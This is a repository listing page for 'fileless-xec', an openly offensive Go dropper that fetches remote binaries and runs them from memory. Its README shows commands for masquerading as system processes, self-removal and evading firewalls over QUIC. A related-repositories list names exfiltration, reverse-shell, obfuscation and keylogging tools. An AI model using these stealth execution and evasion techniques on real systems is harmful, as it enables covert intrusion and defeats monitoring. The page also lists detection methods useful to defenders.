• Stars
    star
    184
  • Rank 209,187 (Top 5 %)
  • Language
    Go
  • License
    MIT License
  • Created about 3 years ago
  • Updated 5 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support, invisible tracks, cross-platform,...)

โžฒ fileless-xec ๐Ÿฆœ

๐Ÿ‘‹ Certainly useful , mainly for fun, rougly inspired by 0x00 article

Pentest use: fileless-xec is used on target machine to stealthy execute a binary file located on attacker machine

โžฒ Short story

fileless-xec enable us to execute a remote binary on a local machine directly from memory without dropping them on disk

โžช Install

  • simple usage fileless-xec [binary_url] (~curl | sh for binaries)
  • execute binary with specified program name: fileless-xec -n /usr/sbin/sshd [binary_url]
  • detach program execution from tty: fileless-xec --setsid [...]

demo

Explanation We want to locally execute writeNsleep binary located on a remote machine.

We first start a python http server on remote. Locally we use fileless-xec and impersonate the /usr/sbin/sshd name for the execution of the binary writeNsleep(for stealthiness & fun). Once writeNsleep start fileless-xec will delete itself (--self-remove)

Other use cases

โžฒ Stealthiness story

  • The binary file is not mapped into the host file system
  • The execution program name could be customizable
  • Bypass 3rd generation firewall could be done with http3 support
  • fileless-xec self removes once launched

memfd_create

The remote binary file is stored locally using memfd_create syscall, which store it within a memory disk which is not mapped into the file system (ie you can't find it using ls).

fexecve

Then we execute it using fexecve syscall (as it is currently not provided by syscall golang library we implem it).

With fexecve we could exec a program, but we reference the program to run using a file descriptor, instead of the full path.

HTTP3/QUIC

Enable it with -Q/http3 flag.
You can setup a light web rootfs server supporting http3 by running go run ./test/http3/light-server.go -p LISTENING PORT (This is http3 equivalent of python3 -m http.server )
use test/http3/genkey.sh to generate cert and key.

QUIC UDP aka http3 is a new generation Internet protocol that speeds online web applications that are susceptible to delay, such as searching, video streaming etc., by reducing the round-trip time (RTT) needed to connect to a server.

Because QUIC uses proprietary encryption equivalent to TLS (this will change in the future with a standardized version), 3rd generation firewalls that provide application control and visibility encounter difficulties to control and monitor QUIC traffic.

If you actually use fileless-xec as a dropper (Only for testing purpose or with the authorization), you likely want to execute some type of malwares or other file that could be drop by packet analysis. Hence, with Quic enables you could bypass packet analysis and GET a malware.

Also, in case firewall is only used for allowing/blocking traffic it could happen that firewall rules forget the udp protocol making your requests go under the radars

other skill for stealthiness

Although not present on the memory disk, the running program can still be detected using ps command for example.

  1. Cover the tracks with a fake program name

fileless-xec --name <fake_name> <binary_raw_url> by default the name is [kworker/u:0]

  1. Detach from tty to map behaviour of deamon process

fileless-xec --setsid <binary_raw_url>.

Caveats

You could still be detected with:

$ lsof | grep memfd

Or also opensnoop (but not by execsnoop)

Or seccomp profile auditing execve syscall (but it is very overwhelming as a sleep command also use execve)

More Repositories

1

QueenSono

Golang binary for data exfiltration with ICMP protocol (+ ICMP bindshell, http over ICMP tunneling, ...)
Go
143
star
2

notionterm

๐Ÿ–ฅ๏ธ๐Ÿ“– Embed reverse shell in Notion pages
Go
122
star
3

volana

๐ŸŒ’ Shell command obfuscation to avoid detection systems
Go
120
star
4

cfuzz

Command line fuzzer and bruteforcer ๐ŸŒช wfuzz for command
Go
85
star
5

TrojanSourceFinder

๐Ÿ”Ž Help find Trojan Source vulnerability in code ๐Ÿ‘€ . Useful for code review in project with multiple collaborators (CI/CD)
Go
45
star
6

HTTPCustomHouse

HTTP request smuggling attack helper/CLI tools to manipulate HTTP packets
Go
33
star
7

tacos

๐ŸŒฎ INTERACTIVE reverse shell everywhere! (Particularly digestible with socat multi-handler listener)
Shell
29
star
8

Notionion

Notion as an HTTP proxy
Go
27
star
9

DomXssFinder

Find sources and sinks in js code that could lead to DOM XSS ๐Ÿ”Ž๐Ÿ’ง๐Ÿšฐ
Shell
21
star
10

gitar

๐Ÿ“ก Ease file sharing during pentest/CTF ๐ŸŽธ
Go
12
star
11

Readme-Like-Button

Style your README with a "like button" ๐Ÿ‘
10
star
12

SMTrackerP

๐ŸŽฃ Simple Mail Tracker Protocol ๐Ÿ“ฌ bring back into fashion the acknowledgement of receipt
Go
8
star
13

JSextractor

Fastly gather all JavaScript from url (CLi+TUI)
Go
8
star
14

Hack-weak-strcmp-code

A description of a basic hack over a C files using strcmp function
C
7
star
15

sexonthebash

Unprivileged and stealth shell input and output listeners. Differerent approach for keylogging with Shell/bash.
Go
6
star
16

bang

My pentest machine environment set up, tools, aliases and shortcuts
Shell
5
star
17

cssrf

Ease CSS exfiltration
Go
5
star
18

httpecho

Golang HTTP echo server (real raw request echoed)
Go
4
star
19

magnet

๐Ÿงฒ Hide data exfiltration in harmless looking executable
Go
4
star
20

wslight

Unix command translator on Windows cmd
Go
4
star
21

console.sh

Share terminal in your browser console
JavaScript
4
star
22

AravisFS

Encrypted filesystem ๐Ÿ” And a CLI to remotely and securely interact with (if you want to store encrypted private data on โ˜๏ธ)
Go
3
star
23

.pwnvscode

Obtain RCE by poisoning .vscode folder
Shell
3
star
24

shuid

Nim project for Persistence & Privesc using S(hadow)UIDs files ๐Ÿ‘ค
Nim
3
star
25

PoC-Website-Masquerading

PoC on how to impersonnate/masquerade a website locally ๐ŸŽญ
Shell
3
star
26

friendly-windows-malware

๐Ÿ’ป๐ŸŽจ Simple executables to prove remote code execution in a nice and harmless way in your demos
Go
2
star
27

sheesh

A ยซย better than an aliasย ยป generator (flag & completion) ๐Ÿช‚
Go
2
star
28

kube-podpreemption-DoS

๐ŸŒช๏ธ Evict pods and block pod deployment (DoS) on kubernetes
Python
2
star
29

quicli

๐Ÿช† Go library to quickly build CLI using a simple one-liner
Go
2
star
30

kraken_capital_gain

Get the capital gain of yourtrade history considering different parameter (timeframe, currency, etc)
Python
1
star
31

TheWordIsYours

Malicious Macro for the dummies ๐ŸŒ Choose a payload, inject it, sprinkle with stealthiness, wait with a cup of tea ๐Ÿซ–
VBA
1
star